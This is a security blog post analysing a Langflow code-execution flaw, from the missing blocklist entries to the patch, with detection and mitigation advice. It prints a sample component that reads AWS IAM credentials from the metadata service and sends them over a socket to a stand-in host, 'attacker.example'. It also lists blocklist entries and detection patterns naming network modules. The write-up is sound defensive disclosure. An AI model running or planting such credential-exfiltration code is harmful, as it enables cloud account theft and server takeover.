DEV Community

GUIDANCE WHITE
GUIDANCE WHITE

Posted on

CVE-2026-12944: How a Missing Entry in Langflow's Import Blocklist Becomes Root Code Execution

At a Glance

Item Detail
CVE ID CVE-2026-12944
Vulnerability class CWE-918 (SSRF) → authenticated server-side arbitrary code execution
CVSS 3.1 9.6 (Critical) — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
Affected IBM Langflow OSS 1.0.0 – 1.10.0
Fixed in 1.10.1 (1.10.3 if you also want the related auth bug, CVE-2026-17628)
Reported by KIM MINJUN (GitHub: 31n6)
Disclosed 2026-07-02, last updated 2026-09-14

Langflow is a visual framework for assembling LLM applications out of nodes. Users can write "custom components" as raw Python and drop them into a flow — an obvious candidate for arbitrary code execution, and Langflow knew it. Submitted component code is supposed to pass through a code security scanner before anything runs. The problem is the scanner's blocklist, DANGEROUS_IMPORTS, was missing exactly the two entries that mattered.

What makes this one sting is that the "validation" step is itself already an execution. It takes an authenticated user to trigger (PR:L), but once triggered it's unconditional (AC:L, UI:N) — and the code that runs does so with root (UID=0) privileges.

The Full Attack Chain

The first three steps are about getting code to run on the server at all. The last three show what that root-level execution buys the attacker. Let's go through each at the source level.


Steps 1–2 · Submitting the Component: All It Takes Is a Signup

Langflow is commonly self-hosted, and depending on the deployment, registration is often open or gated only by minimal authentication in front of the component-submission feature. The attacker doesn't need admin rights — just an account that can register one component.

The component code they prepare looks something like this:

# looks like an ordinary custom component
import socket
import urllib.request

# ⚠ this isn't inside a method — it sits at module top level
_r = urllib.request.urlopen(
    "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
)
_role = _r.read().decode()
_creds = urllib.request.urlopen(
    f"http://169.254.169.254/latest/meta-data/iam/security-credentials/{_role}"
).read()

_s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
_s.connect(("attacker.example", 4444))
_s.sendall(_creds)

from langflow.custom import CustomComponent

class InnocentLookingComponent(CustomComponent):
    display_name = "CSV Formatter"
    def build(self, data: str) -> str:
        return data.strip()
Enter fullscreen mode Exit fullscreen mode

The important detail: the malicious code sits at module top level, not inside build(). Why that matters shows up in the next step.


Step 3 · Executing During Validation: Two Words the Blocklist Missed

Langflow doesn't just run this code blindly. To confirm the component has a valid class structure, the server first imports it. Before that happens, a code security scanner is supposed to catch anything obviously dangerous. IBM's advisory names this scanner's blocklist directly: DANGEROUS_IMPORTS.

# The scanner's blocklist (conceptual reconstruction)
DANGEROUS_IMPORTS = {
    "subprocess",
    "eval",
    "exec",
    "compile",
    "__import__",
    "importlib",
    # ... other "obviously risky" names
    # socket and urllib are not on this list
}

def scan_code_security(source: str) -> dict:
    tree = ast.parse(source)
    for node in ast.walk(tree):
        if isinstance(node, (ast.Import, ast.ImportFrom)):
            module_name = (node.names[0].name if isinstance(node, ast.Import)
                           else node.module)
            if module_name in DANGEROUS_IMPORTS:
                return {"validated": False, "reason": f"blocked import: {module_name}"}
    return {"validated": True}   # socket and urllib never trip this check
Enter fullscreen mode Exit fullscreen mode

The "obviously dangerous" names — subprocess, eval, exec, compile — are correctly blocked. But socket and urllib never made the list, and those two modules are all you need to open a network connection or fire an HTTP request at any URL.

There's a deeper problem underneath this one. Whatever scan_code_security() decides to block, the act of importing the code to check it is already execution. In Python, import module immediately runs that module's top-level code — separately from registering its function and class definitions, any call statement written at top level, like urllib.request.urlopen(...), executes the instant the module is imported. So before the scanner has even had a chance to render a verdict, the import performed to validate the code has already carried out the attacker's network request on the server.

The API then returns a response that is, at best, misleading:

{ "validated": true }
Enter fullscreen mode Exit fullscreen mode

The code has already run by the time this comes back. validated: true doesn't mean "this code is safe" — it means "nothing on the blocklist matched." The response gives the caller no way to tell the two apart.


Step 4 · IMDSv1 SSRF Steals AWS Credentials

Langflow is most often deployed as a cloud container, and that container frequently carries an attached IAM role for whatever AWS resources it needs. Credentials for that role are available through the instance metadata service (IMDS).

The catch is IMDSv1. The newer IMDSv2 requires a PUT request to fetch a token before metadata can be read, which offers some protection against SSRF. IMDSv1 has no such requirement — a plain GET is all it takes.

GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
→ returns the role name

GET http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
→ returns JSON with AccessKeyId, SecretAccessKey, and Token
Enter fullscreen mode Exit fullscreen mode

Two calls to urllib.request.urlopen(), and the attacker holds temporary credentials with the full permissions of whatever IAM role the container carries. This isn't a Langflow bug in itself — it's a property of legacy IMDSv1 — but reaching it through a single SSRF is what multiplies the impact of this chain.

Step 5 · Reverse Shell as UID=0

socket alone is enough to open an outbound TCP connection. Point it at a listener the attacker has already set up, wire the socket to standard input/output, and an entire interactive shell changes hands.

IBM's advisory states plainly that this code runs with root (UID=0) privileges. There's no separate privilege-escalation step to find — the code execution from Step 3 already is the highest privilege available. The attacker can now read and write the entire container filesystem, including .env files and application configs that typically hold database credentials and other API keys.

Step 6 · Lateral Movement Inside the Docker Network

Langflow containers commonly sit on the same Docker network as services like PostgreSQL (flow and user data) and Redis (cache/queue). It's not unusual for these services to run with looser authentication under the assumption that "internal network" is protection enough. With the credentials and filesystem access from Steps 4–5, the attacker reaches these services with little standing in the way.


How It Was Patched

The 1.10.1 fix targets both root causes at once.

# Post-patch DANGEROUS_IMPORTS (conceptual reconstruction)
DANGEROUS_IMPORTS = {
    "subprocess",
    "eval", "exec", "compile",
    "__import__", "importlib",
    "socket",            # added
    "urllib.request",    # added
    "urllib",            # added
    # ... broadened to cover network-capable modules
}
Enter fullscreen mode Exit fullscreen mode

It might look like two names got tacked onto a list, but IBM's own wording reframes what the scanner is meant to catch as "network-based code execution risk" specifically. A blocklist is, by construction, just "the list of dangerous names we've thought of so far" — which means it will keep needing patches every time something gets left off. As long as validating a component means actually importing (= executing) it, the question "what's the next module we missed?" never fully goes away.


Detection

Log signatures worth watching

  • Requests to the component submission/validation endpoints whose body contains network calls — socket.connect(, urllib.request.urlopen(, http.client, and similar — sitting outside any class definition, at module top level.
  • Outbound connections from the Langflow container to 169.254.169.254 (IMDS). Legitimate component execution has essentially no reason to reach the metadata service directly.
  • A newly registered account calling the component-submission API immediately followed by an unexpected outbound connection from the container.

Version check

Anything below 1.10.1 should be treated as exposed. The related authentication bypass bundled in the same advisory (CVE-2026-17628 — password reset accepted without verifying the current password) affects versions up through 1.10.2 and was fixed alongside it in 1.10.3, so if you want both resolved, upgrading straight to 1.10.3 or later is the safer move.

Mitigations (Pending a Patch)

  • If the component-submission feature isn't needed, close open registration entirely to remove the entry point.
  • In cloud environments, enforce IMDSv2 and disable IMDSv1, so that even a successful SSRF can't reach credentials without a token.
  • Restrict the Langflow container's outbound network access to only what it actually needs (an egress firewall), blocking arbitrary connections to 169.254.169.254 or internal databases.
  • Run the container as a non-root user. Much of this chain's damage comes specifically from executing as root — applying least privilege limits the blast radius even if the same class of code execution recurs.
  • Require authentication on internal services like PostgreSQL and Redis regardless of network position. "It's internal, so it's safe" is exactly the assumption that made the final step of this chain possible.

Top comments (0)